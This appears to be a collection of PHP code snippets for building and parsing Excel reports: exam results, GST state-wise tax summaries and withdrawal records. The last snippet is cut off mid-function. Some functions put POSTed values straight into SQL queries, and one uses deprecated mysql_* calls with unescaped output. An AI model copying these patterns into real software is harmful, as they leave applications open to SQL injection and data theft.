$detailWorksheet->setCellValue('E2', \"Assessor\");\n $detailWorksheet->getStyle('E2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('E2')->setAutoSize(true);\n\n //results\n $k = 5;\n // get all criteria labels\n foreach ($exam->exam_instance_items as $question) {\n if ($question->heading != '1') {\n // the question label\n $label = $question->label;\n if ($question->exclude_from_total == '1') {\n $label .= '(Formative)';\n }\n $detailWorksheet->setCellValue($alphabetArr[$k] . '2', $label);\n $detailWorksheet->getStyle($alphabetArr[$k] . '2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension($alphabetArr[$k])->setAutoSize(true);\n\n // the value\n $detailWorksheet->setCellValue($alphabetArr[$k + 1] . '2', 'Value');\n $detailWorksheet->getStyle($alphabetArr[$k + 1] . '2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension($alphabetArr[$k + 1])->setAutoSize(true);\n\n // any comments\n if ($question->no_comment != '1') {\n $detailWorksheet->setCellValue($alphabetArr[$k + 2] . '2', 'Comment');\n $detailWorksheet->getStyle($alphabetArr[$k + 2] . '2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension($alphabetArr[$k + 2])->setAutoSize(true);\n $k += 3;\n } else {\n $k += 2;\n }\n }\n }\n\n // write out the results\n $currentrow = 3;\n foreach ($exam->student_exam_submissions as $student_exam_submission) {\n $detailWorksheet->setCellValue('A' . $currentrow, $student_exam_submission->student->studentid);\n $detailWorksheet->setCellValue('B' . $currentrow, $student_exam_submission->student->fname . ' ' . $student_exam_submission->student->lname);\n $detailWorksheet->setCellValue('C' . $currentrow, Group::find($student_exam_submission->exam_instance->students->where('id', $student_exam_submission->student->id)->first()->pivot->group_id)->code);\n $detailWorksheet->setCellValue('D' . $currentrow, date_format($student_exam_submission->created_at, 'd/m/Y H:i:s A'));\n $detailWorksheet->setCellValue('E' . $currentrow, $student_exam_submission->examiner->name);\n $currentcolumn = 5;\n\n foreach ($exam->exam_instance_items as $submission_instance_item) {\n if ($submission_instance_item->heading != '1') {\n // dd($student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->selecteditem);\n if ($student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->selecteditem) {\n $label = $student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->selecteditem->label;\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . strval($currentrow), $label);\n $currentcolumn++;\n $value = $student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->selecteditem->value;\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . strval($currentrow), $value);\n $currentcolumn++;\n if ($student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->item->no_comment != '1') {\n $comment = $student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->comments;\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . strval($currentrow), $comment);\n $currentcolumn++;\n }\n } else {\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . strval($currentrow), '(not shown)');\n if ($student_exam_submission->student_exam_submission_items->where('exam_instance_items_id', $submission_instance_item->id)->first()->item->no_comment != '1') {\n $currentcolumn += 3;\n } else {\n $currentcolumn += 2;\n }\n }\n }\n\n }\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . $currentrow, $student_exam_submission->comments);\n $currentrow++;\n }\n $detailWorksheet->setCellValue($alphabetArr[$currentcolumn] . '2', \"Final comment\");\n $detailWorksheet->getStyle($alphabetArr[$currentcolumn] . '2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension($alphabetArr[$currentcolumn] . '2')->setAutoSize(true);\n\n\n ///////////////////////////////////////////////////////////////\n //\n ///////////////////////////////////////////////////////////////\n $quantitativeWorksheet = new Worksheet($phpspreadsheetObj, 'Quantitative item analysis');\n // $phpexcelObj->createSheet();\n $phpspreadsheetObj->addSheet($quantitativeWorksheet, 2);\n\n // set labels\n\n $quantitativeWorksheet->setCellValue('A1', \"Quantitative item analysis for: {$exam->name} {$exam->start_datetime}, n=\" . $stats['overall']['n']);\n $quantitativeWorksheet->getStyle('A1')->getFont()->setSize(16);\n//\n $questionscount = 0;\n $questionsArr = array();\n $k = 3;\n\n //////////////////////////////////////////////////////////\n // the quantitative data for the questions...\n //////////////////////////////////////////////////////////\n//\n foreach ($exam->exam_instance_items as $question) {\n if ($question->heading != '1') {\n// //set all criteria labels\n $label = $question->label;\n if ($question->exclude_from_total == '1') {\n $label .= '(Formative)';\n }\n $quantitativeWorksheet->setCellValue(\"A$k\", $label);\n\n $currentColumn = 1;\n // get total answers\n $n_responses = Student_exam_submission_item::where('exam_instance_items_id', '=', $question->id)->get()->count();\n foreach ($question->items as $item) {\n $n_marked = 0;\n $n_marked = Student_exam_submission_item::where('selected_exam_instance_items_items_id', '=', $item->id)->get()->count();\n $quantitativeWorksheet->setCellValue(\"{$alphabetArr[$currentColumn]}{$k}\", \"n marked {$item->label}\");\n $quantitativeWorksheet->getStyle(\"{$alphabetArr[$currentColumn]}{$k}\")->getFont()->setBold(true);\n $quantitativeWorksheet->getColumnDimension(\"{$alphabetArr[$currentColumn]}\")->setAutoSize(true);\n $quantitativeWorksheet->setCellValue(\"{$alphabetArr[$currentColumn + 1]}{$k}\", \"% marked {$item->label}\");\n $quantitativeWorksheet->getStyle(\"{$alphabetArr[$currentColumn + 1]}{$k}\")->getFont()->setBold(true);\n $quantitativeWorksheet->getColumnDimension(\"{$alphabetArr[$currentColumn + 1]}\")->setAutoSize(true);\n // data\n //n\n $quantitativeWorksheet->setCellValue(\"{$alphabetArr[$currentColumn]}\" . ($k + 1), $n_marked);\n //%\n $quantitativeWorksheet->setCellValue(\"{$alphabetArr[$currentColumn+1]}\" . ($k + 1), ($n_marked / $n_responses) * 100);\n $currentColumn += 2;\n }\n $k += 2;\n }\n }\n $quantitativeWorksheet->getColumnDimension(\"A\")->setAutoSize(true);\n\n //////////////////////////////////////////\n // Comments worksheet\n /////////////////////////////////////////\n\n $overallCommentsWorksheet = new Worksheet($phpspreadsheetObj, 'Comments for items');\n $phpspreadsheetObj->addSheet($overallCommentsWorksheet, 3);\n\n $overallCommentsWorksheet->setCellValue('A1', \"Comments for items: {$exam->name} {$exam->start_datetime}, n=\" . $stats['overall']['n']);\n $overallCommentsWorksheet->getStyle('A1')->getFont()->setSize(16);\n\n $overallCommentsWorksheet->setCellValue('B2', \"Comments\");\n $overallCommentsWorksheet->getStyle(\"B2\")->getFont()->setBold(true);\n $overallCommentsWorksheet->setCellValue('A2', \"Item\");\n $overallCommentsWorksheet->getStyle(\"A2\")->getFont()->setBold(true);\n\n $k = 3;\n foreach ($exam->exam_instance_items as $question) {\n if (($question->heading != '1') && ($question->no_comment != '1')) {\n $overallCommentsWorksheet->setCellValue('A' . $k, \"{$question->label}\");\n $responses = Student_exam_submission_item::where('exam_instance_items_id', '=', $question->id)->get();\n $k++;\n foreach ($responses as $response) {\n if (strlen($response->comments) > 0) {\n $overallCommentsWorksheet->setCellValue('B' . $k, \"{$response->comments}\");\n $k++;\n }\n }\n }\n }\n\n $overallCommentsWorksheet->getColumnDimension(\"A\")->setAutoSize(true);\n $overallCommentsWorksheet->getColumnDimension(\"B\")->setAutoSize(true);\n\n // set active sheet to the first\n $phpspreadsheetObj->setActiveSheetIndex(0);\n\n $writer = new Xlsx($phpspreadsheetObj);\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header(\"Content-Disposition: attachment;filename=\\\"Report for {$exam->name}.xlsx\\\"\");\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n }", "public function getSummary(): string;", "function ExportExcel($sSQL,$Excelname){\n\t//connect mysql database\n\tglobal $db;\n\tmysql_select_db($db->Database,$db->Link_ID);\n\n\t//get result\n\t$result=mysql_query($sSQL);\n\t$numoffields=mysql_num_fields($result);\n\n\t// now we could construct Excel output\n\t$fieldstype=array();\n\t for($i=0;$i<$numoffields;$i++){\n\t\t$fieldstype[]=mysql_field_type($result,$i);\n\t }// for($i=0;...) END\n\t //initiate a counter for excel \"ROW\" counter\n\t $rowscounter=0;\n\t //write fields to excel\n\t $table=\"<table><tr>\";\n\t for($i=0;$i<$numoffields;$i++){\n\t\t\t$fld=mysql_fetch_field($result,$i);\n\t\t\t$fldname=$fld->name;\n\t\t\t$table.=\"<td>$fldname</td>\";\n\t }// for($i=0;...) END\n\t $table.=\"</tr>\";\n\t $rowscounter++;\n\t while($row=mysql_fetch_array($result)){\n\t //fetch each Cell($rowscounter,$colscounter) into Excel output stream\n\t\t$table.=\"<tr>\";\n\t\tfor($colscounter=0;$colscounter<$numoffields;$colscounter++){\n\t\t\t//identify field type to descide how to write excel cell\n\t\t\t $table.=\"<td>\".$row[$colscounter].\"</td>\";\n\t\t\t}//for($colscounter..) END\n\t\t\t$table.=\"</tr>\";\n\t\t\t$rowscounter++;\n\t\t}// while($row=mysql..) END\n\t $table.=\"</table>\";\n\theader ( \"Expires: Mon, 1 Apr 1974 05:00:00 GMT\");\n\theader ( \"Last-Modified: \" . gmdate(\"D,d M YH:i \") . \" GMT\" );\n\theader ( \"Pragma: no-cache\" );\n\theader (\"Content-type: application/x-msexcel\");\n\theader (\"Content-Disposition: attachment; filename=\".$Excelname.\".xls\");\n\theader (\"Content-Description: Fern@ndo TVTGA\" );\n\tprint $table;\n\texit;\nreturn;\n}", "public function state_wise_summary_function($path4, $sales_year_values) {\n//function to get data from excel files\n\n $object = PHPExcel_IOFactory::load($path4);\n $worksheet = $object->getActiveSheet();\n $highestRow = $worksheet->getHighestRow();\n $highestColumn = $worksheet->getHighestColumn();\n $customer_id = $this->input->post(\"cust_id\");\n $insert_id = $this->generate_insert_id();\n $customer_file_years = $this->input->post('customer_file_years');\n $j = 0;\n\n $abcl = $object->getActiveSheet()->getCell('A' . 3)->getValue();\n// echo $abcl;\n $aa = (explode(\" \", $abcl));\n// print_r($aa);\n\n $b = substr($customer_file_years, 7);\n $a = substr($customer_file_years, 0, -4);\n\n $x = $a . $b;\n// echo $x;\n if ($customer_file_years == \"\") {\n $response['id'] = 'customer_file_years';\n $response['error'] = 'Please Select year';\n echo json_encode($response);\n exit;\n } else if ($aa[2] == $x) {\n $query = $this->db2->query(\"SELECT * FROM `state_wise_summary_all` where customer_id='$customer_id'\");\n if ($this->db2->affected_rows() > 0) {\n $state_wise_history = $this->insert_state_wise_history($customer_id);\n if ($state_wise_history == true) {\n\n for ($i = 8; $i <= $highestRow; $i++) { // loop to get last row number to get state\n if ($object->getActiveSheet()->getCell('B' . $i)->getValue() == \"Total\") {\n $j++;\n }\n if ($j > 0) {\n break;\n }\n }\n $total_row_num = $i;\n $all_state = array();\n $str = \"(4) Cr Note Details\";\n\n for ($k = 8; $k < $total_row_num; $k++) { //loop get state data\n $all_state[] = $object->getActiveSheet()->getCell('D' . $k)->getValue();\n }\n $states1 = array_unique($all_state); //unique array of state\n $states = array_values($states1); //change array indexes\n $count = count($states);\n $a1 = 0;\n $arr_taxable_value = array();\n for ($m1 = 0; $m1 < $count; $m1++) {\n if ($m1 < ($count)) {\n $state_new = $states[$m1];\n } else {\n $state_new = $states[0];\n }\n\n $taxable_value = 0;\n\n// echo $highestRow;\n for ($l = 8; $l <= $highestRow; $l++) { //loop to get data statewise\n $a2 = $object->getActiveSheet()->getCell('A' . $l)->getValue();\n if ($a2 == \"(4) Cr Note Details\") {\n $a1 = 1;\n } else if ($a2 == \"(5) Dr Note Details\") {\n $a1 = 2;\n }\n if ($object->getActiveSheet()->getCell('D' . $l)->getValue() == $state_new) {\n if ($a1 == 0 or $a1 == 2) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value += $tax_val;\n } else if ($a1 == 1) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value -= $tax_val;\n }\n }\n }\n\n $arr_taxable_value[] = $taxable_value;\n }\n//insert data of other states\n\n for ($m = 0; $m < $count; $m++) {\n\n $quer = $this->db2->query(\"insert into state_wise_summary_all (`customer_id`,`insert_id`,`state_name`,`taxable_value`)values ('$customer_id','$insert_id','$states[$m]','$arr_taxable_value[$m]')\");\n }\n// get array for maharashtra.\n $taxable_value_mh = 0;\n// $arr_taxable_value_mh = array();\n for ($l = 8; $l <= $highestRow; $l++) { //loop to get data statewise\n $a2 = $object->getActiveSheet()->getCell('A' . $l)->getValue();\n if ($a2 == \"(4) Cr Note Details\") {\n $a1 = 1;\n } else if ($a2 == \"(5) Dr Note Details\") {\n $a1 = 2;\n }\n if ($object->getActiveSheet()->getCell('D' . $l)->getValue() == \"MAHARASHTRA\") {\n if ($a1 == 0 or $a1 == 2) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value_mh += $tax_val;\n } else if ($a1 == 1) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value_mh -= $tax_val;\n }\n }\n }\n $taxable_value_mh = $taxable_value_mh;\n }\n } else {\n for ($i = 8; $i <= $highestRow; $i++) { // loop to get last row number to get state\n if ($object->getActiveSheet()->getCell('B' . $i)->getValue() == \"Total\") {\n $j++;\n }\n if ($j > 0) {\n break;\n }\n }\n $total_row_num = $i;\n $all_state = array();\n $str = \"(4) Cr Note Details\";\n\n for ($k = 8; $k < $total_row_num; $k++) { //loop get state data\n $all_state[] = $object->getActiveSheet()->getCell('D' . $k)->getValue();\n }\n $states1 = array_unique($all_state); //unique array of state\n $states = array_values($states1); //change array indexes\n $count = count($states);\n $a1 = 0;\n $arr_taxable_value = array();\n for ($m1 = 0; $m1 < $count; $m1++) {\n if ($m1 < ($count)) {\n $state_new = $states[$m1];\n } else {\n $state_new = $states[0];\n }\n\n $taxable_value = 0;\n\n// echo $highestRow;\n for ($l = 8; $l <= $highestRow; $l++) { //loop to get data statewise\n $a2 = $object->getActiveSheet()->getCell('A' . $l)->getValue();\n if ($a2 == \"(4) Cr Note Details\") {\n $a1 = 1;\n } else if ($a2 == \"(5) Dr Note Details\") {\n $a1 = 2;\n }\n if ($object->getActiveSheet()->getCell('D' . $l)->getValue() == $state_new) {\n if ($a1 == 0 or $a1 == 2) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value += $tax_val;\n } else if ($a1 == 1) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value -= $tax_val;\n }\n }\n }\n\n $arr_taxable_value[] = $taxable_value;\n }\n//insert data of other states\n\n for ($m = 0; $m < $count; $m++) {\n\n $quer = $this->db2->query(\"insert into state_wise_summary_all (`customer_id`,`insert_id`,`state_name`,`taxable_value`)values ('$customer_id','$insert_id','$states[$m]','$arr_taxable_value[$m]')\");\n $sales_year_values++;\n }\n// get array for maharashtra.\n $taxable_value_mh = 0;\n// $arr_taxable_value_mh = array();\n for ($l = 8; $l <= $highestRow; $l++) { //loop to get data statewise\n $a2 = $object->getActiveSheet()->getCell('A' . $l)->getValue();\n if ($a2 == \"(4) Cr Note Details\") {\n $a1 = 1;\n } else if ($a2 == \"(5) Dr Note Details\") {\n $a1 = 2;\n }\n if ($object->getActiveSheet()->getCell('D' . $l)->getValue() == \"MAHARASHTRA\") {\n if ($a1 == 0 or $a1 == 2) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value_mh += $tax_val;\n } else if ($a1 == 1) {\n $tax_val = $object->getActiveSheet()->getCell('E' . $l)->getValue();\n $taxable_value_mh -= $tax_val;\n }\n }\n }\n $taxable_value_mh = $taxable_value_mh;\n }\n// return $taxable_value_mh;\n } else {\n $response['id'] = 'file_ex_state_wise';\n $response['error'] = 'Year is mismatch with file.Please choose correct.';\n echo json_encode($response);\n exit;\n }\n\n//insert data of maharashtra\n\n $quer = $this->db2->query(\"insert into state_wise_summary_all (`customer_id`,`insert_id`,`state_name`,`taxable_value`)values ('$customer_id','$insert_id','MAHARASHTRA','$taxable_value_mh')\");\n $sales_year_values++;\n return $sales_year_values;\n }", "public function tuExcel(){\n $fields= $this->db->field_data('hotel');\n $query= $this->db->get('hotel');\n return array (\"fields\" => $fields, \"query\" => $query);\n }", "public function DowloadExcel()\n {\n return $export->sheet('sheetName', function($sheet)\n {\n\n })->export('xls');\n }", "protected function addExcelColumns(\\MUtil_Model_ModelAbstract $model) {}", "private function _downloadApplyExcel($dataProvider) {\r\n $objPHPExcel = new \\PHPExcel();\r\n \r\n // Set document properties\r\n $objPHPExcel->getProperties()\r\n ->setCreator(\"wuliu.youjian8.com\")\r\n ->setLastModifiedBy(\"wuliu.youjian8.com\")\r\n ->setTitle(\"youjian logistics order\")\r\n ->setSubject(\"youjian logistics order\")\r\n ->setDescription(\"youjian logistics order\")\r\n ->setKeywords(\"youjian logistics order\")\r\n ->setCategory(\"youjian logistics order\");\r\n $datas = $dataProvider->query->all();\r\n if ($datas) {\r\n $objPHPExcel->setActiveSheetIndex(0)\r\n ->setCellValue('A1', '申请人')\r\n ->setCellValue('B1', '开户行')\r\n ->setCellValue('C1', '状态')\r\n ->setCellValue('D1', '申请时间')\r\n ->setCellValue('E1', '会员号')\r\n ->setCellValue('F1', '开户名')\r\n ->setCellValue('G1', '银行卡号')\r\n ->setCellValue('H1', '银行')\r\n ->setCellValue('I1', '金额')\r\n ->setCellValue('J1', '付款时间')\r\n ->setCellValue('K1', '付款人');\r\n $i = 2;\r\n $objPHPExcel->setActiveSheetIndex(0)->getStyle('E')->getNumberFormat()->setFormatCode(\\PHPExcel_Style_NumberFormat::FORMAT_TEXT);\r\n $objPHPExcel->setActiveSheetIndex(0)->getStyle('G')->getNumberFormat()->setFormatCode(\\PHPExcel_Style_NumberFormat::FORMAT_TEXT);\r\n $objPHPExcel->setActiveSheetIndex(0)->getStyle('I')->getNumberFormat()->setFormatCode(\\PHPExcel_Style_NumberFormat::FORMAT_TEXT);\r\n foreach ($datas as $model) {\r\n // Add some data\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('A'.$i, ArrayHelper::getValue($model, 'userTrueName.user_truename'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('B'.$i, ArrayHelper::getValue($model, 'bankInfo.bank_info_bank_address'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('C'.$i, $model->getStatusName());\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('D'.$i, date('Y-m-d H:i', $model->add_time));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValueExplicit('E'.$i, ''.ArrayHelper::getValue($model, 'userTrueName.username'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('F'.$i, ArrayHelper::getValue($model, 'bankInfo.bank_info_account_name'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValueExplicit('G'.$i, ''.ArrayHelper::getValue($model, 'bankInfo.bank_info_card_no'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('H'.$i, ArrayHelper::getValue($model, 'bankInfo.bank_info_bank_name'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValueExplicit('I'.$i, ''.$model->amount);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('J'.$i, $model->pay_time?date('Y-m-d H:i', $model->pay_time):'');\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('K'.$i, $model->pay_user_id?ArrayHelper::getValue($model, 'adminUserName.username'):'');\r\n $i++;\r\n }\r\n }\r\n \r\n // Rename worksheet\r\n $objPHPExcel->getActiveSheet()->setTitle('提现记录');\r\n \r\n \r\n // Set active sheet index to the first sheet, so Excel opens this as the first sheet\r\n $objPHPExcel->setActiveSheetIndex(0);\r\n \r\n \r\n // Redirect output to a client’s web browser (Excel5)\r\n header('Content-Type: application/vnd.ms-excel');\r\n header('Content-Disposition: attachment;filename=\"提现记录.xls\"');\r\n header('Cache-Control: max-age=0');\r\n // If you're serving to IE 9, then the following may be needed\r\n header('Cache-Control: max-age=1');\r\n \r\n // If you're serving to IE over SSL, then the following may be needed\r\n header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\r\n header ('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // always modified\r\n header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1\r\n header ('Pragma: public'); // HTTP/1.0\r\n \r\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\r\n $objWriter->save('php://output');\r\n exit;\r\n }", "public function okr_summary()\n\t{\n\t\tif ($this->session->userdata('status') !== 'admin_logged_in') {\n\t\t\tredirect('pages/Login');\n\t\t}\n\t\t$this->M_auditTrail->auditTrailRead('OKR Summary', $this->session->userdata['type']);\n\n\n\t\t$data = [\n\t\t\t'member_dsc' => $this->M_memberDsc->get_all_member(),\n\t\t\t'usecase' => $this->M_otherDataAssignments->get_usecase(),\n\t\t\t'member_selected' => '',\n\t\t\t'usecase_selected' => '',\n\t\t\t'judul' => 'OKR Summary - INSIGHT',\n\t\t\t'konten' => 'adm_views/home/monitoring_okr_summaryProduct',\n\t\t\t'admModal' => [],\n\t\t\t'footerGraph' => []\n\t\t];\n\n\t\t$this->load->view('adm_layout/master', $data);\n\t}", "public function excel()\r\n {\r\n $data = $this->AdminJobModel->getJobsForCSV($this->xssCleanInput('ids'));\r\n $data = sortForCSV(objToArr($data));\r\n $excel = new SimpleExcel('csv'); \r\n $excel->writer->setData($data);\r\n $excel->writer->saveFile('jobs'); \r\n exit;\r\n }", "public function createReport()\n {\n foreach($this->_data as $data)\n {\n //$data must have id and data elements\n //$data may also have config, header, footer, group\n\n $id=$data['id'];\n $format=isset($data['format'])?$data['format']:array();\n $config=isset($data['config'])?$data['config']:array();\n $group=isset($data['group'])?$data['group']:array();\n\n $configHeader=isset($config['header'])?$config['header']:$config;\n $configData=isset($config['data'])?$config['data']:$config;\n $configFooter=isset($config['footer'])?$config['footer']:$config;\n\n $config=array(\n 'header'=>$configHeader,\n 'data'=>$configData,\n 'footer'=>$configFooter\n );\n\n //set the group\n $this->_group=$group;\n\n $loadCollection=array();\n\n $nextRow=$this->objWorksheet->getHighestRow();\n if($nextRow>1)\n $nextRow++;\n $colIndex=-1;\n\n //form the header for data\n if(isset($data['header']))\n {\n $headerId='HEADER_'.$id;\n foreach($data['header'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$headerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['header'][$k]['width']))\n $this->objWorksheet->getColumnDimensionByColumn($colIndex)->setWidth(pixel2unit($config['header'][$k]['width']));\n if(isset($config['header'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['header'][$k]['align']);\n }\n\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_headerStyleArray);\n }\n\n //add header row to load collection\n $loadCollection[]=array('id'=>$headerId,'data'=>$data['header']);\n\n //move to next row for data\n $nextRow++;\n }\n\n\n //form the data repeating row\n $dataId='DATA_'.$id;\n $colIndex=-1;\n\n //form the template row\n if(count($data['data'])>0)\n {\n //we just need first row of data, to see array keys\n $singleDataRow=$data['data'][0];\n foreach($singleDataRow as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$dataId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['data'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['data'][$k]['align']);\n }\n }\n\n //add this row to collection for load but with repeating\n $loadCollection[]=array('id'=>$dataId,'data'=>$data['data'],'repeat'=>true,'format'=>$format);\n $this->enableStripRows();\n\n //form the footer row for data if needed\n if(isset($data['footer']))\n {\n $footerId='FOOTER_'.$id;\n $colIndex=-1;\n $nextRow++;\n\n //formiraj template\n foreach($data['footer'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$footerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['footer'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['footer'][$k]['align']);\n }\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_footerStyleArray);\n }\n\n //add footer row to load collection\n $loadCollection[]=array('id'=>$footerId,'data'=>$data['footer'],'format'=>$format);\n }\n\n $this->load($loadCollection);\n $this->generateReport();\n }\n }", "public function without_invoice_summary_function($path5, $without_invoice) {\n\n $object = PHPExcel_IOFactory::load($path5);\n $worksheet = $object->getActiveSheet();\n $highestRow = $worksheet->getHighestRow();\n $highestColumn = $worksheet->getHighestColumn();\n $customer_id = $this->input->post(\"cust_id\");\n $insert_id = $this->generate_insert_id();\n $customer_file_years = $this->input->post('customer_file_years');\n $original_month = array();\n $showing_month = array();\n $category = array();\n $gstin_arr = array();\n $invoice_date = array();\n $invoice_no = array();\n $name = array();\n $invoice_value = array();\n $taxable_value = array();\n $igst = array();\n $cgst = array();\n $sgst = array();\n $cess = array();\n $abc2 = $object->getActiveSheet()->getCell('A' . 3)->getValue();\n $x = filter_var($abc2, FILTER_SANITIZE_NUMBER_INT);\n $a1 = chunk_split($x, 4, \"-\");\n $a2 = rtrim($a1, '-');\n// exit;\n if ($customer_file_years == \"\") {\n $response['id'] = 'customer_file_years';\n $response['error'] = 'Please Select year';\n echo json_encode($response);\n exit;\n } else if ($customer_file_years == $a2) {\n for ($i = 0; $i <= $highestRow; $i++) {\n if ($object->getActiveSheet()->getCell(\"B\" . $i)->getValue() == \"Original Month\") { //get records of origial month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $og_mon = $object->getActiveSheet()->getCell(\"B\" . $j)->getValue();\n $original_month[] = $og_mon;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"C\" . $i)->getValue() == \"Showing in month\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $show_mon = $object->getActiveSheet()->getCell(\"C\" . $j)->getValue();\n $showing_month[] = $show_mon;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"D\" . $i)->getValue() == \"Category\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cat = $object->getActiveSheet()->getCell(\"D\" . $j)->getValue();\n $category[] = $cat;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"E\" . $i)->getValue() == \"GSTIN\") { //get records of GSTIN\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $gstin = $object->getActiveSheet()->getCell(\"E\" . $j)->getValue();\n $gstin_arr[] = $gstin;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"F\" . $i)->getValue() == \"Invoice Date\") { //get records of Invoice Date\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoiceDate = $object->getActiveSheet()->getCell(\"F\" . $j)->getValue();\n $invoice_date[] = $invoiceDate;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"G\" . $i)->getValue() == \"Invoice No\") { //get records of Invoice No\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoiceno = $object->getActiveSheet()->getCell(\"G\" . $j)->getValue();\n $invoice_no[] = $invoiceno;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"H\" . $i)->getValue() == \"Name\") { //get records of Names\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $names = $object->getActiveSheet()->getCell(\"H\" . $j)->getValue();\n $name[] = $names;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"I\" . $i)->getValue() == \"Invoice Value \") { //get records of Invoice Value \n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoice_val = $object->getActiveSheet()->getCell(\"I\" . $j)->getValue();\n $invoice_value[] = $invoice_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"J\" . $i)->getValue() == \"Taxable Value\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $tax_val = $object->getActiveSheet()->getCell(\"J\" . $j)->getValue();\n $taxable_value[] = $tax_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"K\" . $i)->getValue() == \"IGST\") { //get records of IGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $igst_val = $object->getActiveSheet()->getCell(\"K\" . $j)->getValue();\n $igst[] = $igst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"L\" . $i)->getValue() == \"CGST\") { //get records of CGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cgst_val = $object->getActiveSheet()->getCell(\"L\" . $j)->getValue();\n $cgst[] = $cgst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"M\" . $i)->getValue() == \"SGST\") { //get records of SGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $sgst_val = $object->getActiveSheet()->getCell(\"M\" . $j)->getValue();\n $sgst[] = $sgst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"N\" . $i)->getValue() == \"CESS\") { //get records of SGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cess_val = $object->getActiveSheet()->getCell(\"N\" . $j)->getValue();\n $cess[] = $cess_val;\n 